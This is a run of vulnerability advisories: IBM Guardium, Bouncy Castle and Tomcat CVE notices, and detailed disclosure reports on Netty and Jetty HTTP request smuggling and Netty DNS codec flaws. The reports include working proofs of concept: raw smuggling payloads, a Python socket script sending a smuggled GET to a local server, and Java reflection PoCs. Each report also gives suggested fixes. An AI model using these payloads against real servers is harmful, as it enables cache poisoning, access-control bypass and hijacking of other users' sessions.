IBM Guardium Data Protection 12.2 is vulnerable to an authenticated OS command injection vulnerability in the exportCertificate functionality. Successful exploitation could allow an attacker to execute unauthorized commands and impact the confidentiality, integrity, and availability of the affected system.
IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary SQL commands due to improper neutralization of special elements used in an SQL command.
IBM Guardium Data Protection 12.2 is vulnerable to a missing authentication vulnerability in the LoadBalancerServlet. An unauthenticated user can access privileged load-balancer operations, potentially resulting in unauthorized actions and impact to the integrity and availability of the affected system.
IBM Guardium Data Protection 12.2 could allow a remote attacker to bypass security restrictions due to missing authentication for the ChangeTrackerServlet.
NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization
| Field | Value | |-----------|-------| | Library | io.netty:netty-codec-http | | Component | codec-http — HttpObjectDecoder | | Severity | HIGH | | Affects | HEAD, commit 4f3533ae confirmed |
---
Summary
HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling.
---
Root Cause
java // HttpObjectDecoder.java:828-833 if (HttpUtil.isTransferEncodingChunked(message)) { this.chunked = true; if (!contentLengthFields.isEmpty() && message.protocolVersion() == HttpVersion.HTTP11) { handleTransferEncodingChunkedWithContentLength(message); // strips CL — HTTP/1.1 only } return State.READCHUNKSIZE; }
// HttpObjectDecoder.java:870-873 protected void handleTransferEncodingChunkedWithContentLength(HttpMessage message) { message.headers().remove(HttpHeaderNames.CONTENTLENGTH); contentLength = Long.MINVALUE; }
The conflict-resolution path is gated on message.protocolVersion() == HttpVersion.HTTP11. When the request declares HTTP/1.0, the condition is false, handleTransferEncodingChunkedWithContentLength is never called, and the Content-Length header survives into the forwarded message. Netty still processes the body as chunked; a downstream component that is CL-first interprets the same bytes as a separate request.
---
Proof of Concept
POST /api HTTP/1.0\r\n Host: internal.example.com\r\n Transfer-Encoding: chunked\r\n Content-Length: 0\r\n \r\n 5\r\n GPOST\r\n 0\r\n \r\n
Netty consumes the full chunked body (5 bytes + terminator). A downstream CL-first proxy reads Content-Length: 0, considers the request complete at the blank line, and treats 5\r\nGPOST\r\n0\r\n\r\n as the start of a second request.
---
Conditions Required
1. Netty is deployed behind a reverse proxy or load balancer that is Content-Length-first (nginx, some HAProxy configs, AWS ALB in certain modes). 2. Attacker can send HTTP/1.0 requests (either directly or by downgrading via connection manipulation). 3. No additional HTTP/1.0 stripping layer between attacker and Netty.
---
Impact
Request smuggling at the Netty edge. Allows cache poisoning, session fixation against other users, unauthorized access to internal endpoints, and bypassing of WAF or authentication layers that inspect only the first logical request.
---
Confirmed PoC Test
Verified against HEAD (4f3533ae) using EmbeddedChannel. Both tests pass, confirming the vulnerability and the HTTP/1.1 contrast.
java package io.netty.handler.codec.http;
import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.util.CharsetUtil; import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.;
public class NettySmugglingSec001Test {
// VULNERABLE: Content-Length survives in HTTP/1.0 TE+CL conflict @Test public void http10contentLengthNotStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.0\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.USASCII));
HttpRequest req = ch.readInbound(); assertEquals(HttpVersion.HTTP10, req.protocolVersion()); // Content-Length: 0 survives — downstream CL-first proxy treats chunked body as new request assertNotNull(req.headers().get(HttpHeaderNames.CONTENTLENGTH), "VULNERABLE: CL not stripped"); ch.finishAndReleaseAll(); }
// SAFE: HTTP/1.1 correctly strips Content-Length on TE+CL conflict @Test public void http11contentLengthStripped() { EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestDecoder()); ch.writeInbound(Unpooled.copiedBuffer( "POST /api HTTP/1.1\r\n" + "Transfer-Encoding: chunked\r\n" + "Content-Length: 0\r\n" + "\r\n" + "5\r\nGPOST\r\n0\r\n\r\n", CharsetUtil.USASCII));
HttpRequest req = ch.readInbound(); assertNull(req.headers().get(HttpHeaderNames.CONTENTLENGTH), "SAFE: CL correctly stripped"); ch.finishAndReleaseAll(); } }
---
Fix Guidance
Remove the message.protocolVersion() == HttpVersion.HTTP11 guard in HttpObjectDecoder, applying handleTransferEncodingChunkedWithContentLength unconditionally whenever both Transfer-Encoding: chunked and Content-Length are present, regardless of protocol version.
IBM Guardium Data Protection 12.2 is vulnerable to an unauthenticated second-order SQL injection vulnerability in the generateInsertQuery functionality of change-tracker-data.sql. A remote attacker could inject malicious SQL that is subsequently processed by the application, potentially resulting in compromise of the confidentiality, integrity, and availability of the affected system.
IBM Guardium Data Protection 12.2 is vulnerable to unauthenticated insecure deserialization and attacker-controlled reflective method dispatch in the Change Audit System (CAS) listener. A network attacker able to reach TCP port 16017 may submit crafted serialized messages and potentially cause unintended code execution in the Guardium appliance.
IBM Guardium Data Protection 12.2 could allow a remote unauthenticated attacker to execute arbitrary code on the system due to the deserialization of untrusted data.
IBM Guardium Data Protection 12.2 could allow a remote attacker to execute arbitrary SQL commands due to improper neutralization of special elements used in an SQL command.
IBM Guardium Data Protection 12.2 is vulnerable to an authentication bypass that allows an unauthenticated remote attacker to bypass IP-based access controls and access the Guardium management interface.
IBM Guardium Data Protection 12.0, 12.1, 12.2 is vulnerable to a heap-based buffer overflow in the MongoDB protocol parser. A remote attacker could send a specially crafted MongoDB SCRAM username containing an excessive length and cause memory corruption, potentially resulting in denial of service or arbitrary code execution.
IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute arbitrary code due to a buffer overflow.
IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute arbitrary code due to a buffer overflow.
IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute arbitrary code due to a stack-based buffer overflow.
IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute arbitrary code due to a buffer overflow.
IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute unauthorized SQL statements due to SQL injection.
IBM Guardium Data Protection 12.0, 12.1, and 12.2 is vulnerable to a buffer overrun in the TDS (Microsoft SQL Server) PRELOGIN packet decoder. A remote attacker who can send a specially crafted TDS PRELOGIN packet to a network monitored by an IBM Guardium Collector may cause a denial of service or potentially execute arbitrary code on the Collector appliance.
IBM Guardium Data Protection 12.0, 12.1, and 12.2 is vulnerable to SQL injection. A remote unauthenticated attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database.
IBM Guardium Data Protection 12.0, 12.1, and 12.2 could allow a remote attacker to execute arbitrary code due to path traversal.
IBM Guardium Data Protection 12.2, and 12.2.2 could allow a remote attacker to execute arbitrary management operations due to missing authentication for critical function.
IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of input during web page generation.
: Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (core modules).
This vulnerability is associated with program files G3413CTRBlockCipher.
This issue affects BC-JAVA: from 1.59 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84.
IBM Guardium Data Protection 12.2 IBM Security Guardium Data Protection is vulnerable to stored cross-site scripting (XSS) in the Quick Search results grid. An unauthenticated attacker who can influence monitored database traffic could execute malicious script in the browser of an authenticated Guardium user.
Description (as reported)
Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques: - https://w4ke.info/2025/06/18/funky-chunks.html - https://w4ke.info/2025/10/29/funky-chunks-2.html
The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.
Technical Details
RFC 9112 Section 7.1.1 defines chunked transfer encoding: chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = ( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string: quoted-string = DQUOTE ( qdtext / quoted-pair ) DQUOTE
A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.
Vulnerability
Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.
Expected (RFC compliant): Chunk: 1;a="value\r\nhere"\r\n ^^^^^^^^^^^^^^^^^^ extension value Body: [1 byte after the real \r\n]
Actual (jetty): Chunk: 1;a="value ^^^^^ terminates here (WRONG) Body: here"... treated as body/next request
Proof of Concept
python #!/usr/bin/env python3 import socket
payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" )
sock = socket.socket(socket.AFINET, socket.SOCKSTREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload)
response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break
sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace"))
Result: Server returns 2 HTTP responses from a single TCP connection.
Parsing Breakdown
| Parser | Request 1 | Request 2 | |--------|-----------|-----------| | jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) | | RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) |
Impact
- Request Smuggling: Attacker injects arbitrary HTTP requests - Cache Poisoning: Smuggled responses poison shared caches - Access Control Bypass: Smuggled requests bypass frontend security - Session Hijacking: Smuggled requests can steal other users' responses
Reproduction
1. Start the minimal POC with docker 2. Run the poc script provided in same zip
Suggested Fix
Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112. A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.
Patches No patches yet.
Workarounds No workarounds yet.
Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)
1. Vulnerability Summary
| Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-dns) | | Component | io.netty.handler.codec.dns.DnsCodecUtil | | Vulnerability Type | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption | | Impact | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |
2. Affected Components
Both the encoder and decoder in the same file are affected:
- io.netty.handler.codec.dns.DnsCodecUtil — encodeDomainName() method (lines 31-51): - No null byte validation in domain name labels - No per-label length validation (RFC 1035 max: 63 bytes) - No total domain name length validation (RFC 1035 max: 255 bytes) - Empty labels silently truncate the domain name
- io.netty.handler.codec.dns.DnsCodecUtil — decodeDomainName() method (lines 53-118): - No per-label length validation (max 63) - No total domain name length validation (max 255) - Unbounded StringBuilder growth from attacker-controlled DNS responses
3. Vulnerability Description
Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.
3.1 Encoder Side — Null Byte Injection (CWE-626)
A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:
- Java (full string): sees "evil\0.example.com" as a single label containing a null - C/native DNS libraries: truncate at the null byte, seeing only "evil" - DNS servers: may accept or reject based on implementation
This differential interpretation enables DNS cache poisoning and domain validation bypass.
3.2 Encoder Side — Overlength Label (RFC 1035 Violation)
Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:
- A 200-byte label length 0xC8 would be interpreted as a compression pointer by standards-compliant DNS parsers - This creates parser confusion between label and pointer interpretation
3.3 Encoder Side — Silent Truncation via Empty Labels
java encodeDomainName("a..b.com", buf); // Encodes as: [01] 'a' [00] // Only "a." is encoded, ".b.com" is silently dropped!
An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.
3.4 Decoder Side — Unbounded Memory Allocation
The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.
Root Cause — Encoder
java // DnsCodecUtil.java:31-51 static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { break; // NO ERROR - silently truncates! } // NO check: labelLen > 63 // NO check: label contains null bytes // NO check: total name > 255 bytes buf.writeByte(labelLen); // Can write values > 63! ByteBufUtil.writeAscii(buf, label); // Null bytes pass through! } buf.writeByte(0); }
Root Cause — Decoder
java // DnsCodecUtil.java:94-99 (decodeDomainName) } else if (len != 0) { if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63 throw new CorruptedFrameException("truncated label in a name"); } name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF8)).append('.'); // ^^^^^^ StringBuilder grows WITHOUT any length limit in.skipBytes(len); }
Missing checks in decoder: - No if (len > 63) check per RFC 1035 Section 2.3.4 - No if (name.length() > 255) check for total domain name length
4. Exploitability Prerequisites
Encoder Side (outbound) 1. An application constructs DNS queries using Netty's DNS codec with user-influenced domain names 2. The constructed DNS packets are sent to DNS servers or resolvers
Decoder Side (inbound) 1. An application uses Netty's codec-dns or resolver-dns module to process DNS responses 2. The application communicates with a malicious or compromised DNS server
Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.
5. Attack Scenarios
Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)
java String hostname = userInput; // "evil\0.trusted.com" DnsQuery query = new DefaultDnsQuery(...) .addRecord(DnsSection.QUESTION, new DefaultDnsQuestion(hostname, DnsRecordType.A));
The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.
Scenario 2: Label/Pointer Confusion (Encoder)
A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:
Byte: [C8] [61 61 61 ... (200 bytes)] ↑ Label interpretation: 200-byte label starting with 'a' Pointer interpretation: pointer to offset 0x0861 = 2145
Scenario 3: Memory Exhaustion via Large Labels (Decoder)
A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.
Scenario 4: Domain Truncation via Empty Label (Encoder)
java encodeDomainName("safe-domain..evil.com", buf); // Only "safe-domain." is encoded, "evil.com" silently dropped
This can bypass domain allowlists that check the input string.
Scenario 5: Downstream Processing Failures (Decoder)
Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.
6. Proof of Concept
PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets;
public class DnsEncoderNullBytePoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method encode = clazz.getDeclaredMethod("encodeDomainName", String.class, ByteBuf.class); encode.setAccessible(true);
// Test 1: Null byte in domain name ByteBuf buf = Unpooled.buffer(256); encode.invoke(null, "evil\0.example.com", buf); byte[] bytes = new byte[buf.readableBytes()]; buf.readBytes(bytes); buf.release(); System.out.print("[TEST 1] Null byte - Encoded: "); for (byte b : bytes) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");
// Test 2: 200-byte label ByteBuf buf2 = Unpooled.buffer(512); encode.invoke(null, "a".repeat(200) + ".com", buf2); System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes"); System.out.println("VULNERABLE: Overlength label accepted!"); buf2.release();
// Test 3: Empty label truncation ByteBuf buf3 = Unpooled.buffer(256); encode.invoke(null, "a..b.com", buf3); byte[] bytes3 = new byte[buf3.readableBytes()]; buf3.readBytes(bytes3); buf3.release(); System.out.print("\n[TEST 3] Empty label - Encoded: "); for (byte b : bytes3) System.out.printf("%02x ", b & 0xff); System.out.println("\nVULNERABLE: Domain silently truncated!"); } }
PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)
java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import java.lang.reflect.Method; import java.nio.charset.StandardCharsets;
public class DnsDecoderLengthPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil"); Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class); decode.setAccessible(true);
// Test 1: 100-byte label (RFC limit: 63) ByteBuf buf1 = Unpooled.buffer(256); buf1.writeByte(100); buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.USASCII)); buf1.writeByte(3); buf1.writeBytes("com".getBytes(StandardCharsets.USASCII)); buf1.writeByte(0); String r1 = (String) decode.invoke(null, buf1); buf1.release(); System.out.println("[TEST 1] 100-byte label: length=" + r1.length() + " VULNERABLE=" + (r1.length() > 64));
// Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255) ByteBuf buf2 = Unpooled.buffer(512); for (int i = 0; i < 5; i++) { buf2.writeByte(60); buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60) .getBytes(StandardCharsets.USASCII)); } buf2.writeByte(0); String r2 = (String) decode.invoke(null, buf2); buf2.release(); System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() + " VULNERABLE=" + (r2.length() > 255)); } }
How to Compile and Run
bash JARS=$(find ~/.m2/repository/io/netty -name "netty-.jar" -path "/4.2.12.Final/" \ | grep -v sources | grep -v javadoc | tr '\n' ':')
Encoder PoC javac -cp "$JARS" DnsEncoderNullBytePoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC
Decoder PoC javac -cp "$JARS" DnsDecoderLengthPoC.java java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
Encoder PoC: === Netty DNS Encoder Validation Bypass PoC ===
[TEST 1] Null byte in domain name Input: "evil\0.example.com" Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00 Null byte in label data: true VULNERABLE: YES - Null byte accepted!
[TEST 2] Label > 63 bytes in encoder Input: "aaaaaa..." (200-char label) Encoded bytes: 206 VULNERABLE: YES - Overlength label accepted in encoder!
[TEST 3] Empty labels (consecutive dots) Input: "a..b.com" Encoded bytes: 01 61 00 Note: Empty label truncates the name (may lose data)
Decoder PoC: === Netty DNS Decoder Length Bypass PoC ===
[TEST 1] Label > 63 bytes (RFC 1035 violation) Label length: 100 bytes (RFC limit: 63) Decoded name length: 105 VULNERABLE: YES - Label > 63 bytes accepted!
[TEST 2] Domain > 255 bytes via multiple labels 5 labels x 60 bytes = 300+ bytes total RFC 1035 limit: 255 bytes Decoded name length: 305 VULNERABLE: YES - Domain > 255 bytes accepted!
7. Impact Analysis
| Impact Category | Description | |----------------|-------------| | Integrity | HIGH — Null byte injection causes differential interpretation across DNS implementations | | Availability | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder | | DNS Cache Poisoning | Different parsers see different domain names from the same encoded packet | | Domain Validation Bypass | Null bytes can bypass allowlist/blocklist checks in DNS proxies | | Label/Pointer Confusion | Length bytes > 63 conflict with RFC 1035 compression pointer encoding | | Silent Truncation | Empty labels silently drop the remainder of the domain name | | Downstream Failures | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |
8. Remediation Recommendations
Fix for Encoder (encodeDomainName)
java static void encodeDomainName(String name, ByteBuf buf) { if (ROOT.equals(name)) { buf.writeByte(0); return; } int totalLength = 0; final String[] labels = name.split("\\."); for (String label : labels) { final int labelLen = label.length(); if (labelLen == 0) { throw new IllegalArgumentException("DNS name contains empty label: " + name); } if (labelLen > 63) { throw new IllegalArgumentException( "DNS label length " + labelLen + " exceeds maximum of 63: " + name); } for (int i = 0; i < label.length(); i++) { if (label.charAt(i) == '\0') { throw new IllegalArgumentException( "DNS label contains null byte at index " + i); } } totalLength += 1 + labelLen; if (totalLength > 254) { throw new IllegalArgumentException( "DNS name exceeds maximum length of 255: " + name); } buf.writeByte(labelLen); ByteBufUtil.writeAscii(buf, label); } buf.writeByte(0); }
Fix for Decoder (decodeDomainName)
java // Add after "} else if (len != 0) {": if (len > 63) { throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63"); } // Add after "name.append(...)": if (name.length() > 255) { throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255"); }
9. Resources
- RFC 1035 Section 2.3.4: Size Limits - RFC 1035 Section 4.1.4: Message Compression - CWE-20: Improper Input Validation - CWE-400: Uncontrolled Resource Consumption - CWE-626: Null Byte Interaction Error
Summary If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.
Details HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.
Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx
PoC
java @Test public void test() { EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP11, HttpMethod.GET, "/1"))); ByteBuf request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP11, HttpMethod.HEAD, "/2"))); request = channel.readOutbound(); request.release(); assertNull(channel.readOutbound());
String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" + "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" + "HTTP/1.1 200 OK\r\n\r\n"; assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.USASCII)));
// Response 1 HttpResponse response = channel.readInbound(); assertEquals(HttpResponseStatus.EARLYHINTS, response.status()); LastHttpContent last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release();
// Response 2 response = channel.readInbound(); assertEquals(HttpResponseStatus.OK, response.status()); last = channel.readInbound(); assertEquals(0, last.content().readableBytes()); last.release();
// Response 3 FullHttpResponse response1 = channel.readInbound(); assertTrue(response1.decoderResult().isFailure()); assertEquals(0, response1.content().readableBytes()); response1.release();
assertFalse(channel.finish()); }
Impact Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
Detection of Error Condition Without Action vulnerability in Apache Tomcat when configuring CRLs for a FFM based connector.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M7 through 10.1.55, from 9.0.83 through 9.0.118.
Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fixes the issue.
Always-Incorrect Control Flow Implementation vulnerability in Apache Tomcat meant that special roles and empty authorisation constraints were not included when the effective web.xml was logged.
Improper Handling of URL Encoding (Hex Encoding) vulnerability in Apache Tomcat's rewrite valve allowed security constraint bypass for some configurations.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.23, from 10.1.0-M1 through 10.1.56, from 9.0.0.M1 through 9.0.119, from 8.5.0 through 8.5.100. Other versions that have reached end of support may also be affected.
Users are recommended to upgrade to version 11.0.24, 10.1.57 or 9.0.120, which fix the issue.
Insufficient Technical Documentation vulnerability in Apache Tomcat since the requirements to securely configure the EncryptInterceptor were not clearly documented.
This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.23, from 10.1.0-M1 through 10.1.56, from 9.0.13 through 9.0.119, from 8.5.38 through 8.5.100, from 7.0.100 through 7.0.109. Other versions that have reached end of support may also be affected.
Users are recommended to upgrade to version 11.0.24, 10.1.57 or 9.0.120 which fix the issue.